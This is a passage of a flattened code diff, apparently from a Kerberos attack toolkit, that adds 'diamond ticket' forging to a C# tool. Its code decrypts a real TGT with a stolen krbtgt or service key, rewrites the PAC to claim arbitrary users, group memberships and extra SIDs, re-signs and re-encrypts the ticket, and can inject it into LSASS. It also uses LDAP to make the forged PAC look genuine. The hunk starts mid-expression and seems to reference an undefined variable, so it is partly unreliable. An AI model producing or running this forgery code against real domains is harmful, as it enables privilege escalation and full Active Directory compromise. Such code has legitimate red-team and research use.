(!String.IsNullOrEmpty(kvi.LogonScript.ToString())) + { + cmdOut = String.Format("{0} /scriptpath:\"{1}\"", cmdOut, kvi.LogonScript.ToString()); + } + if (!String.IsNullOrEmpty(kvi.ProfilePath.ToString())) + { + cmdOut = String.Format("{0} /profilepath:\"{1}\"", cmdOut, kvi.ProfilePath.ToString()); + } + if (!String.IsNullOrEmpty(kvi.HomeDirectory.ToString())) + { + cmdOut = String.Format("{0} /homedir:\"{1}\"", cmdOut, kvi.HomeDirectory.ToString()); + } + if (!String.IsNullOrEmpty(kvi.HomeDirectoryDrive.ToString())) + { + cmdOut = String.Format("{0} /homedrive:\"{1}\"", cmdOut, kvi.HomeDirectoryDrive.ToString()); + } + if (!String.IsNullOrEmpty(kvi.LogonDomainName.ToString())) + { + cmdOut = String.Format("{0} /netbios:{1}", cmdOut, kvi.LogonDomainName.ToString()); + } + if (kvi.GroupCount > 0) + { + cmdOut = String.Format("{0} /groups:{1}", cmdOut, kvi.GroupIds?.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.SidCount > 0) + { + cmdOut = String.Format("{0} /sids:{1}", cmdOut, kvi.ExtraSids.GetValue().Select(s => s.Sid.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (kvi.ResourceGroupCount > 0) + { + cmdOut = String.Format("{0} /resourcegroupsid:{1} /resourcegroups:{2}", cmdOut, kvi.ResourceGroupDomainSid.GetValue().ToString(), kvi.ResourceGroupIds.GetValue().Select(g => g.RelativeId.ToString()).Aggregate((cur, next) => cur + "," + next)); + } + if (!String.IsNullOrEmpty(kvi.LogonServer.ToString())) + { + cmdOut = String.Format("{0} /dc:{1}.{2}", cmdOut, kvi.LogonServer.ToString(), domain); + } + if ((Interop.PacUserAccountControl)kvi.UserAccountControl != Interop.PacUserAccountControl.NORMAL_ACCOUNT) + { + cmdOut = String.Format("{0} /uac:{1}", cmdOut, String.Format("{0}", (Interop.PacUserAccountControl)kvi.UserAccountControl).Replace(" ", "")); + } + if (!user.Equals(cName)) + { + cmdOut = String.Format("{0} /cname:{1}", cmdOut, cName); + } + if (!String.IsNullOrEmpty(s4uProxyTarget) && !String.IsNullOrEmpty(s4uTransitedServices)) + { + cmdOut = String.Format("{0} /s4uproxytarget:{1} /s4utransitiedservices:{2}", cmdOut, s4uProxyTarget, s4uTransitedServices); + } + if (includeAuthData) + { + cmdOut = String.Format("{0} /authdata", cmdOut); + } + + // print the command + Console.WriteLine("\r\n[*] Printing a command to recreate a ticket containing the information used within this ticket\r\n\r\n{0}\r\n", cmdOut); + } + } + + public static byte[] DiamondTicket(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool opsec, bool ldap, bool ptt, string ldapuser = "", string ldappassword = "", string domainController = "", LUID luid = new LUID(), string krbKey = "", string ticketUser = "", string groups = "", int ticketUserId = 0, string sids = "") { + byte[] tgtBytes = Ask.TGT(userName, domain, keyString, etype, null, false, domainController, luid, false, opsec); + + return ModifyTicket(new KRB_CRED(tgtBytes), krbKey, krbKey, outfile, ldap, ldapuser, ldappassword, domainController, domain, ptt, luid, ticketUser, groups, ticketUserId, sids); + } + + public static byte[] DiamondTicket(string userName, string domain, string certFile, string certPass, Interop.KERB_ETYPE etype, string outfile, bool opsec, bool ldap, bool ptt, string ldapuser = "", string ldappassword = "", string domainController = "", LUID luid = new LUID(), string krbKey = "", string ticketUser = "", string groups = "", int ticketUserId = 0, string sids = "") + { + byte[] tgtBytes = Ask.TGT(userName, domain, certFile, certPass, etype, null, false, domainController); + + return ModifyTicket(new KRB_CRED(tgtBytes), krbKey, krbKey, outfile, ldap, ldapuser, ldappassword, domainController, domain, ptt, luid, ticketUser, groups, ticketUserId, sids); + } + + public static byte[] ModifyTicket(KRB_CRED kirbi, string serviceKey = "", string krbKey = "", string outfile = "", bool ldap = false, string ldapuser = "", string ldappassword = "", string domainController = "", string domain = "", bool ptt = false, LUID luid = new LUID(), string ticketUser = "", string groups = "", int ticketUserId = 0, string sids = "",byte[] sessionKey = null, Interop.KERB_ETYPE sessionKeyEtype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1) + { + Console.WriteLine(); + if (String.IsNullOrEmpty(krbKey)) + { + krbKey = serviceKey; + } + if (sessionKey != null) { kirbi.enc_part.ticket_info[0].key = new EncryptionKey(); kirbi.enc_part.ticket_info[0].key.keyvalue = sessionKey; kirbi.enc_part.ticket_info[0].key.keytype = (int)sessionKeyEtype; } + if (!string.IsNullOrWhiteSpace(serviceKey)) + { + EncTicketPart decryptedEncTicket = null; + PACTYPE pt = null; + Ticket ticket = null; + try + { + ticket = kirbi.tickets[0]; + Console.WriteLine("[*] Decrypting TGT"); + decryptedEncTicket = ticket.Decrypt(Helpers.StringToByteArray(serviceKey), null); + Console.WriteLine("[*] Retreiving PAC"); + pt = decryptedEncTicket.GetPac(null); + } + catch + { + Console.WriteLine("[X] Unable to decrypt ticket or get PAC!"); + return null; + } + + var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); + ClientName cn = null; + UpnDns upnDns = null; + Attributes attrib = null; + Requestor requestor = null; + SignatureData svrSigData = null; + SignatureData kdcSigData = null; + + if (ldap) + { + Ndr._KERB_VALIDATION_INFO? tempkvi = LDAPCollection( + ticketUser, + ldapuser, + ldappassword, + domainController, + ticket.realm); + if (tempkvi == null) + { + return null; + } + kvi = (Ndr._KERB_VALIDATION_INFO)tempkvi; + } + + Console.WriteLine("[*] Modifying PAC"); + foreach (var pacInfoBuffer in pt.PacInfoBuffers) + { + if (pacInfoBuffer is LogonInfo linfo) + { + if (!ldap) + kvi = linfo.KerbValidationInfo; + + if (!String.IsNullOrEmpty(ticketUser)) + { + kvi.EffectiveName = new Ndr._RPC_UNICODE_STRING(ticketUser); + } + + if (!String.IsNullOrEmpty(groups)) + { + int groupCount = groups.Split(',').Length; + kvi.GroupCount = groupCount; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[groupCount]; + + int c = 0; + foreach (string gid in groups.Split(',')) + { + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(Int32.Parse(gid), Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + if (ticketUserId > 0) + { + kvi.UserId = ticketUserId; + } + + if (!String.IsNullOrEmpty(sids)) + { + int numOfSids = sids.Split(',').Length; + kvi.SidCount = numOfSids; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[numOfSids]; + int c = 0; + foreach (string s in sids.Split(',')) + { + Array.Copy(new Ndr._KERB_SID_AND_ATTRIBUTES[] { new Ndr._KERB_SID_AND_ATTRIBUTES(new Ndr._RPC_SID(new SecurityIdentifier(s)), Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.ExtraSids, c, 1); + c += 1; + } + } + } + else if (pacInfoBuffer is ClientName temp) + { + cn = temp; + if (!String.IsNullOrEmpty(ticketUser)) + { + cn = new ClientName(cn.ClientId, ticketUser); + } + } + else if (pacInfoBuffer is UpnDns temp2) + { + upnDns = temp2; + if (!String.IsNullOrEmpty(ticketUser)) + { + string samName = null; + SecurityIdentifier sid = null; + if (upnDns.Flags.HasFlag(Interop.UpnDnsFlags.EXTENDED)) + { + samName = upnDns.SamName; + if (!string.IsNullOrWhiteSpace(ticketUser)) + { + samName = ticketUser; + } + sid = upnDns.Sid; + if (ticketUserId > 0) + { + sid = new SecurityIdentifier(String.Format("{0}-{1}", kvi.LogonDomainId.GetValue(), ticketUserId)); + } + else + { + sid = new SecurityIdentifier(String.Format("{0}-{1}", kvi.LogonDomainId.GetValue(), kvi.UserId)); + } + } + upnDns = new UpnDns((int)upnDns.Flags, upnDns.DnsDomainName, string.Format("{0}@{1}", ticketUser, upnDns.DnsDomainName.ToLowerInvariant()), samName, sid); + + } + } + else if (pacInfoBuffer is Attributes temp3) + { + attrib = temp3; + } + else if (pacInfoBuffer is Requestor temp4) + { + requestor = temp4; + if (ticketUserId > 0) + { + requestor = new Requestor(String.Format("{0}-{1}", kvi.LogonDomainId.GetValue(), ticketUserId)); + } + else + { + requestor = new Requestor(String.Format("{0}-{1}", kvi.LogonDomainId.GetValue(), kvi.UserId)); + } + } + else if (pacInfoBuffer is SignatureData sigData) + { + if (sigData.Type == PacInfoBufferType.KDCChecksum) + { + kdcSigData = sigData; + } + else if (sigData.Type == PacInfoBufferType.ServerChecksum) + { + svrSigData = sigData; + } + } + } + int svrSigLength = 12; + int kdcSigLength = 12; + if (svrSigData.SignatureType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) + svrSigLength = 16; + if (kdcSigData.SignatureType == Interop.KERB_CHECKSUM_ALGORITHM.KERB_CHECKSUM_HMAC_MD5) + kdcSigLength = 16; + Console.WriteLine("[*] Signing PAC"); + svrSigData.Signature = new byte[svrSigLength]; + kdcSigData.Signature = new byte[kdcSigLength]; + Array.Clear(svrSigData.Signature, 0, svrSigLength); + Array.Clear(kdcSigData.Signature, 0, kdcSigLength); + + List PacInfoBuffers = new List(); + LogonInfo li = new LogonInfo(kvi); + PacInfoBuffers.Add(li); + if (cn != null) + { + PacInfoBuffers.Add(cn); + } + if (upnDns != null) + { + PacInfoBuffers.Add(upnDns); + } + if (attrib != null) + { + PacInfoBuffers.Add(attrib); + } + if (requestor != null) + { + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + PACTYPE newPT = new PACTYPE(0, PacInfoBuffers); + byte[] ptBytes = newPT.Encode(); + byte[] svrSig = Crypto.KerberosChecksum(Helpers.StringToByteArray(serviceKey), ptBytes, svrSigData.SignatureType); + byte[] kdcSig = Crypto.KerberosChecksum(Helpers.StringToByteArray(krbKey), svrSig, kdcSigData.SignatureType); + svrSigData.Signature = svrSig; + kdcSigData.Signature = kdcSig; + PacInfoBuffers = new List(); + PacInfoBuffers.Add(li); + if (cn != null) + { + PacInfoBuffers.Add(cn); + } + if (upnDns != null) + { + PacInfoBuffers.Add(upnDns); + } + if (attrib != null) + { + PacInfoBuffers.Add(attrib); + } + if (requestor != null) + { + PacInfoBuffers.Add(requestor); + } + PacInfoBuffers.Add(svrSigData); + PacInfoBuffers.Add(kdcSigData); + newPT = new PACTYPE(0, PacInfoBuffers); + + if (!string.IsNullOrEmpty(ticketUser)) + { + decryptedEncTicket.cname = new PrincipalName(ticketUser); + kirbi.enc_part.ticket_info[0].pname = new PrincipalName(ticketUser); + } + + decryptedEncTicket.SetPac(newPT); + Console.WriteLine("[*] Encrypting Modified TGT"); + byte[] encTicketPart = Crypto.KerberosEncrypt((Interop.KERB_ETYPE)ticket.enc_part.etype, Interop.KRB_KEY_USAGE_AS_REP_TGS_REP, Helpers.StringToByteArray(serviceKey), decryptedEncTicket.Encode().Encode()); + EncryptedData enc_part = new EncryptedData(ticket.enc_part.etype, encTicketPart, 3); + ticket.enc_part = enc_part; + kirbi.tickets[0] = ticket; + } + + byte[] kirbiBytes = kirbi.Encode().Encode(); - byte[] kirbiBytes = kirbi.Encode().Encode(); - string kirbiString = Convert.ToBase64String(kirbiBytes); - Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); - - if (Program.wrapTickets) - { - // display the .kirbi base64, columns of 80 chararacters - foreach (string line in Helpers.Split(kirbiString, 80)) - { - Console.WriteLine(" {0}", line); - } - } - else - { - Console.WriteLine(" {0}", kirbiString); - } - - Console.WriteLine(""); - - if (!String.IsNullOrEmpty(outfile)) - { - KrbCredInfo info = kirbi.enc_part.ticket_info[0]; - DateTime fileTime = (DateTime)info.starttime; - string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; - filename = Helpers.MakeValidFileName(filename); - if (Helpers.WriteBytesToFile(filename, kirbiBytes)) - { - Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); - } - } - - Console.WriteLine(""); - - if (ptt || ((ulong)luid != 0)) - { - // pass-the-ticket -> import into LSASS - LSA.ImportTicket(kirbiBytes, luid); + Console.WriteLine(""); + + Console.WriteLine("[*] base64(ticket.kirbi):\r\n"); + + if (Program.wrapTickets) + { + // display the .kirbi base64, columns of 80 chararacters + foreach (string line in Helpers.Split(kirbiString, 80)) + { + Console.WriteLine(" {0}", line); + } } - } - } + else + { + Console.WriteLine(" {0}", kirbiString); + } + + Console.WriteLine(""); + + if (!String.IsNullOrEmpty(outfile)) + { + KrbCredInfo info = kirbi.enc_part.ticket_info[0]; + DateTime fileTime = (DateTime)info.starttime; + string filename = $"{Helpers.GetBaseFromFilename(outfile)}_{fileTime.ToString("yyyy_MM_dd_HH_mm_ss")}_{info.pname.name_string[0]}_to_{info.sname.name_string[0]}@{info.srealm}{Helpers.GetExtensionFromFilename(outfile)}"; + filename = Helpers.MakeValidFileName(filename); + if (Helpers.WriteBytesToFile(filename, kirbiBytes)) + { + Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", filename); + } + } + + Console.WriteLine(""); + + if (ptt || ((ulong)luid != 0)) + { + // pass-the-ticket -> import into LSASS + LSA.ImportTicket(kirbiBytes, luid); + } + + return kirbiBytes; + } + + public static Ndr._KERB_VALIDATION_INFO? LDAPCollection( + // always required arguments + string user, + string ldapuser = "", + string ldappassword = "", + // domain and DC information + string domainController = "", + string domain = "" + ) + {// vars + int c = 0; + System.Net.NetworkCredential ldapCred = null; + var uac = PacUserAccountControl.NORMAL_ACCOUNT; + + // initialise LogonInfo section and set defaults + var kvi = Ndr._KERB_VALIDATION_INFO.CreateDefault(); + kvi.FullName = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING(""); + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING(""); + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING(""); + kvi.LogonServer = new Ndr._RPC_UNICODE_STRING(""); + kvi.UserSessionKey = Ndr._USER_SESSION_KEY.CreateDefault(); + kvi.LogoffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordLastSet = Ndr._FILETIME.CreateDefault(); + kvi.KickOffTime = Ndr._FILETIME.CreateDefault(); + kvi.PasswordCanChange = Ndr._FILETIME.CreateDefault(); + kvi.PasswordMustChange = Ndr._FILETIME.CreateDefault(); + kvi.LogonCount = 0; + kvi.BadPasswordCount = 0; + kvi.UserId = 500; + kvi.PrimaryGroupId = 513; + kvi.SidCount = 0; + kvi.ExtraSids = new Ndr._KERB_SID_AND_ATTRIBUTES[] { + new Ndr._KERB_SID_AND_ATTRIBUTES()}; + + // get network credential from ldapuser and ldappassword + if (!String.IsNullOrEmpty(ldapuser)) + { + // provide an alternate user to use for connection creds + if (!Regex.IsMatch(ldapuser, ".+\\.+", RegexOptions.IgnoreCase)) + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return null; + } + + try + { + string[] ldapParts = ldapuser.Split('\\'); + string ldapDomainName = ldapParts[0]; + string ldapUserName = ldapParts[1]; + + ldapCred = new System.Net.NetworkCredential(ldapUserName, ldappassword, ldapDomainName); + } + catch + { + Console.WriteLine("\r\n[X] /creduser specification must be in fqdn format (domain.com\\user)\r\n"); + return null; + } + } + + // try LDAPS and fail back to LDAP + List> ActiveDirectoryObjects = null; + bool ssl = true; + if (String.IsNullOrEmpty(domainController)) + { + domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain + } + + Console.WriteLine("[*] Trying to query LDAP using LDAPS for user information on domain controller {0}", domainController); + ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); + if (ActiveDirectoryObjects == null) + { + Console.WriteLine("[!] LDAPS failed, retrying with plaintext LDAP."); + ssl = false; + ActiveDirectoryObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(samaccountname={0})", user), ssl); + } + if (ActiveDirectoryObjects == null) + { + Console.WriteLine("[X] Error LDAP query failed, unable to create ticket using LDAP."); + return null; + } + + foreach (var userObject in ActiveDirectoryObjects) + { + string objectSid = (string)userObject["objectsid"]; + string domainSid = objectSid.Substring(0, objectSid.LastIndexOf('-')); + + // parse the UAC field and set in the PAC + if (uac == Interop.PacUserAccountControl.NORMAL_ACCOUNT) + { + kvi.UserAccountControl = 0; + Interop.LDAPUserAccountControl userUAC = (Interop.LDAPUserAccountControl)userObject["useraccountcontrol"]; + if ((userUAC & Interop.LDAPUserAccountControl.ACCOUNTDISABLE) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNTDISABLE; + } + if ((userUAC & Interop.LDAPUserAccountControl.HOMEDIR_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.HOMEDIR_REQUIRED; + } + + if ((userUAC & Interop.LDAPUserAccountControl.PASSWD_NOTREQD) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWD_NOTREQD; + } + if ((userUAC & Interop.LDAPUserAccountControl.TEMP_DUPLICATE_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TEMP_DUPLICATE_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.NORMAL_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NORMAL_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.MNS_LOGON_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.MNS_LOGON_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.INTERDOMAIN_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.WORKSTATION_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.WORKSTATION_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.SERVER_TRUST_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SERVER_TRUST_ACCOUNT; + } + if ((userUAC & Interop.LDAPUserAccountControl.DONT_EXPIRE_PASSWORD) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD; + } + // Is this right? LDAP UAC field doesn't contain ACCOUNT_AUTO_LOCKED, LOCKOUT looks like the most likely candidate + if ((userUAC & Interop.LDAPUserAccountControl.LOCKOUT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ACCOUNT_AUTO_LOCKED; + } + if ((userUAC & Interop.LDAPUserAccountControl.ENCRYPTED_TEXT_PWD_ALLOWED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.ENCRYPTED_TEXT_PASSWORD_ALLOWED; + } + if ((userUAC & Interop.LDAPUserAccountControl.SMARTCARD_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.SMARTCARD_REQUIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_FOR_DELEGATION) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_FOR_DELEGATION; + } + if ((userUAC & Interop.LDAPUserAccountControl.NOT_DELEGATED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NOT_DELEGATED; + } + if ((userUAC & Interop.LDAPUserAccountControl.USE_DES_KEY_ONLY) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_DES_KEY_ONLY; + } + if ((userUAC & Interop.LDAPUserAccountControl.DONT_REQ_PREAUTH) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.DONT_REQ_PREAUTH; + } + if ((userUAC & Interop.LDAPUserAccountControl.PASSWORD_EXPIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PASSWORD_EXPIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.TRUSTED_TO_AUTH_FOR_DELEGATION; + } + if ((userUAC & Interop.LDAPUserAccountControl.NO_AUTH_DATA_REQUIRED) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.NO_AUTH_DATA_REQUIRED; + } + if ((userUAC & Interop.LDAPUserAccountControl.PARTIAL_SECRETS_ACCOUNT) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.PARTIAL_SECRETS_ACCOUNT; + } + /* No USE_AES_KEYS bit seems to exist in the UAC field returned by LDAP + if ((userUAC & Interop.LDAPUserAccountControl.USE_AES_KEYS) != 0) + { + kvi.UserAccountControl = kvi.UserAccountControl | (int)Interop.PacUserAccountControl.USE_AES_KEYS; + }*/ + } + + if (userObject.ContainsKey("userprincipalname") && !String.IsNullOrWhiteSpace((string)userObject["userprincipalname"])) + { + //upnFlags = 0; come back to this :) + } + + List> adObjects = null; + + // build group and domain policy filter + string filter = ""; + string outputText = ""; + if (userObject.ContainsKey("memberof")) + { + foreach (string groupDN in (string[])userObject["memberof"]) + { + filter += String.Format("(distinguishedname={0})", groupDN); + } + outputText += "group"; + } + + filter += String.Format("(objectsid={0}-{1})", domainSid, (string)userObject["primarygroupid"]); + + if (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0) + { + filter = String.Format("{0}(name={{31B2F340-016D-11D2-945F-00C04FB984F9}})", filter); + if (String.IsNullOrEmpty(outputText)) + { + outputText = "domain policy"; + } + else + { + outputText = String.Format("{0} and domain policy", outputText); + } + } + + if (!String.IsNullOrEmpty(filter)) + { + // Try to get group and domain policy information from LDAP + Console.WriteLine("[*] Retrieving {0} information over LDAP from domain controller {1}", outputText, domainController); + adObjects = Networking.GetLdapQuery(ldapCred, "", domainController, domain, String.Format("(|{0})", filter), ssl); + if (adObjects == null) + { + Console.WriteLine("[!] Unable to get {0} information using LDAP, using defaults.", outputText); + } + else + { + if (userObject.ContainsKey("memberof")) + { + kvi.GroupCount = ((string[])userObject["memberof"]).Length + 1; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[((string[])userObject["memberof"]).Length + 1]; + } + else + { + kvi.GroupCount = 1; + kvi.GroupIds = new Ndr._GROUP_MEMBERSHIP[1]; + } + c = 0; + foreach (var o in adObjects) + { + if (o.ContainsKey("gpcfilesyspath")) + { + string gptTmplPath = String.Format("{0}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf", (string)o["gpcfilesyspath"]); + gptTmplPath = gptTmplPath.Replace(String.Format("\\\\{0}\\", domain), String.Format("\\\\{0}\\", domainController)); + Dictionary> gptTmplObject = Networking.GetGptTmplContent(gptTmplPath, ldapuser, ldappassword); + + if (gptTmplObject == null) + { + Console.WriteLine("[!] Warning: Unable to get domain policy information, skipping PasswordCanChange and PasswordMustChange PAC fields."); + continue; + } + + var minPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MinimumPasswordAge"]); + if (minPassAge > 0) + { + kvi.PasswordCanChange = new Ndr._FILETIME(((DateTime)userObject["pwdlastset"]).AddDays((double)minPassAge)); + } + + if (((Interop.PacUserAccountControl)kvi.UserAccountControl & Interop.PacUserAccountControl.DONT_EXPIRE_PASSWORD) == 0) + { + var maxPassAge = Int32.Parse((string)gptTmplObject["SystemAccess"]["MaximumPasswordAge"]); + if (maxPassAge > 0) + { + DateTime pwdLastReset = (DateTime)userObject["pwdlastset"]; + if (pwdLastReset == DateTime.MinValue) + { + DateTime dt = DateTime.Now; + pwdLastReset = dt.AddDays(-2); + } + kvi.PasswordMustChange = new Ndr._FILETIME((pwdLastReset.AddDays((double)maxPassAge))); + } + } + } + else + { + string groupSid = (string)o["objectsid"]; + int groupId = Int32.Parse(groupSid.Substring(groupSid.LastIndexOf('-') + 1)); + Array.Copy(new Ndr._GROUP_MEMBERSHIP[] { new Ndr._GROUP_MEMBERSHIP(groupId, Interop.GROUP_ATTRIBUTES_DEFAULT) }, 0, kvi.GroupIds, c, 1); + c += 1; + } + } + } + } + + // preform the netbios name lookup + + Console.WriteLine("[*] Retrieving netbios name information over LDAP from domain controller {0}", domainController); + + // first get forest root + string forestRoot = null; + try + { + forestRoot = System.DirectoryServices.ActiveDirectory.Forest.GetCurrentForest().RootDomain.Name; + } + catch + { + Console.WriteLine("[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming {0} is the forest root", domain); + forestRoot = domain; + } + + string configRootDomain = domain; + if (!domain.Equals(forestRoot)) + configRootDomain = forestRoot; + + string configOU = String.Format("CN=Configuration,DC={0}", configRootDomain.Replace(".", ",DC=")); + + adObjects = Networking.GetLdapQuery(ldapCred, configOU, domainController, domain, String.Format("(&(netbiosname=*)(dnsroot={0}))", domain), ssl); + if (adObjects == null) + { + Console.WriteLine("[!] Unable to get netbios name information using LDAP, using defaults."); + } + else + { + foreach (var o in adObjects) + { + if (o.ContainsKey("netbiosname")) + { + kvi.LogonDomainName = new Ndr._RPC_UNICODE_STRING((string)o["netbiosname"]); + } + } + } + + // set the rest of the PAC fields + if (userObject.ContainsKey("displayname")) + { + kvi.FullName = new Ndr._RPC_UNICODE_STRING((string)userObject["displayname"]); + } + + kvi.LogonDomainId = new Ndr._RPC_SID(new SecurityIdentifier(domainSid)); + + if (userObject.ContainsKey("logoncount")) + { + try + { + kvi.LogonCount = short.Parse((string)userObject["logoncount"]); + } + catch + { + kvi.LogonCount = 0; + } + } + if (userObject.ContainsKey("badpwdcount")) + { + try + { + kvi.BadPasswordCount = short.Parse((string)userObject["badpwdcount"]); + } + catch + { + kvi.BadPasswordCount = 0; + } + + } + if (userObject.ContainsKey("lastlogon") && ((DateTime)userObject["lastlogon"] != DateTime.MinValue)) + { + kvi.LogonTime = new Ndr._FILETIME((DateTime)userObject["lastlogon"]); + } + + if (userObject.ContainsKey("lastlogoff") && ((DateTime)userObject["lastlogoff"] != DateTime.MinValue)) + { + kvi.LogoffTime = new Ndr._FILETIME((DateTime)userObject["lastlogoff"]); + } + if (userObject.ContainsKey("pwdlastset") && (DateTime)userObject["pwdlastset"] != DateTime.MinValue) + { + kvi.PasswordLastSet = new Ndr._FILETIME((DateTime)userObject["pwdlastset"]); + } + kvi.PrimaryGroupId = Int32.Parse((string)userObject["primarygroupid"]); + kvi.UserId = Int32.Parse(objectSid.Substring(objectSid.LastIndexOf('-') + 1)); + if (userObject.ContainsKey("homedirectory")) + { + kvi.HomeDirectory = new Ndr._RPC_UNICODE_STRING((string)userObject["homedirectory"]); + } + if (userObject.ContainsKey("homedrive")) + { + kvi.HomeDirectoryDrive = new Ndr._RPC_UNICODE_STRING((string)userObject["homedrive"]); + } + if (userObject.ContainsKey("profilepath")) + { + kvi.ProfilePath = new Ndr._RPC_UNICODE_STRING((string)userObject["profilepath"]); + } + if (userObject.ContainsKey("scriptpath")) + { + kvi.LogonScript = new Ndr._RPC_UNICODE_STRING((string)userObject["scriptpath"]); + } + + } + + return kvi; + } + } } \ No newline at end of file